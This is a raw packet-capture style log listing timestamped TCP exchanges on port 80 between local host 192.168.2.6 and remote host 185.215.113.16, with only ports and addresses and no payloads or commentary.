Nov 1, 2024 00:38:45.157757998 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.157797098 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.158464909 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.158500910 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.158516884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.158535004 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.158546925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.158579111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.178035975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.178071976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.178107023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.178116083 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.178139925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.178153992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.178194046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.178244114 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.178246021 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.178280115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.178281069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.178316116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.178322077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.178353071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.178359985 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.178395987 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.179090023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.179124117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.179147959 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.179160118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.179172039 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.179208040 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.194174051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.194221973 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.194241047 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.194257975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.194266081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.194298983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.194299936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.194336891 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.194351912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.194387913 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.194392920 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.194423914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.194432974 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.194458961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.194472075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.194497108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.194505930 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.194545031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.274084091 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.274112940 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.274123907 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.274194956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.274220943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.274353981 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.274363995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.274405956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.274467945 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.274478912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.274516106 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.275213003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.275258064 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.275259018 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.275270939 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.275302887 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.275321007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.295584917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.295597076 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.295608044 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.295650959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.295661926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.295671940 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.295681000 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.295784950 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.295943022 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.295963049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.295973063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.296014071 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.296073914 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.296318054 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.296365976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.296379089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.296420097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.311115980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.311136007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.311146975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.311197042 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.311288118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.311326981 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.311378956 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.311383963 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.311393023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.311409950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.311419964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.311424971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.311455965 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.311628103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.311678886 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.312252998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.312263012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.312300920 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.391076088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.391108990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.391175032 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.391222000 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.391380072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.391427994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.391453028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.391488075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.391524076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.391535044 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.392185926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.392241001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.392272949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.392306089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.392334938 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.392340899 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.412646055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.412703037 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.412720919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.412744045 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.412755966 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.412789106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.412795067 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.412822962 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.412823915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.412858009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.412859917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.412894011 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.412894964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.412929058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.412930965 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.412966013 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.412966967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.413005114 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428015947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428073883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428081989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428109884 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428127050 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428145885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428153992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428179979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428186893 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428272963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428325891 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428355932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428390026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428406954 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428425074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428430080 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428461075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428478003 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428504944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.428920984 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428972006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.428976059 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.429032087 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.429074049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.429126024 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.429128885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.429162979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.429223061 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.429241896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.472093105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.472143888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.472157955 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.472189903 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.508320093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.508372068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.508407116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.508433104 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.508491993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.509041071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.509077072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.509109974 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.509124994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.509219885 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.529397011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.529459000 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.529473066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.529490948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.529508114 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.529526949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.529539108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.529562950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.529575109 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.529597998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.529608011 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.529633999 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.529640913 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.529675961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.530054092 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.530083895 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.530133009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.530196905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.530200005 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.530250072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.530258894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.530284882 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.530312061 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.530376911 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.545059919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.545095921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.545116901 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.545130968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.545151949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.545166969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.545222998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.545270920 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.545274973 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.545310020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.545320988 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.545361996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.545361996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.545399904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.545407057 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.545437098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.545449972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.545480967 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.546013117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.546066046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.546068907 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.546102047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.546108961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.546135902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.546143055 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.546185017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.589025021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.589061975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.589095116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.589102030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.589102983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.589183092 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.625008106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.625039101 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.625072956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.625072956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.625089884 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.625121117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.625128031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.625161886 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.625988960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.626023054 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.626039982 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.626058102 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.626063108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.626105070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.646706104 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.646740913 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.646755934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.646790028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.646795988 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.646823883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.646828890 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.646859884 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.646862984 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.646903038 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.647025108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.647068977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.647070885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.647106886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.647135019 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.647140026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.647146940 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.647182941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.647193909 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.647227049 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.661782980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.661834955 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.661837101 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.661870003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.661875963 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.661911011 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.661956072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.661984921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.661999941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.662024021 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.662079096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.662126064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.662142992 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.662175894 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.662189960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.662210941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.662216902 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.662246943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.662650108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.662698030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.662725925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.662760019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.662770987 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.662795067 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.662801981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.662828922 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.662836075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.662868977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.704193115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.704231977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.704305887 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.704514027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.705785036 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.705838919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.705871105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.705876112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.705938101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.742193937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.742234945 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.742270947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.742317915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.742351055 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.742949009 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.742983103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.743000984 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.743019104 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.743030071 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.743062973 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.763437033 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.763469934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.763504982 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.763505936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.763515949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.763550043 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.763565063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.763598919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.763608932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.763642073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.763655901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.763705969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.764045954 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.764081001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.764097929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.764117002 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.764125109 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.764152050 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.764162064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.764190912 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.764516115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.764545918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:45.764566898 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.764590979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:45.778651953 CET	80	49887	185.215.113.16	192.168.2.6
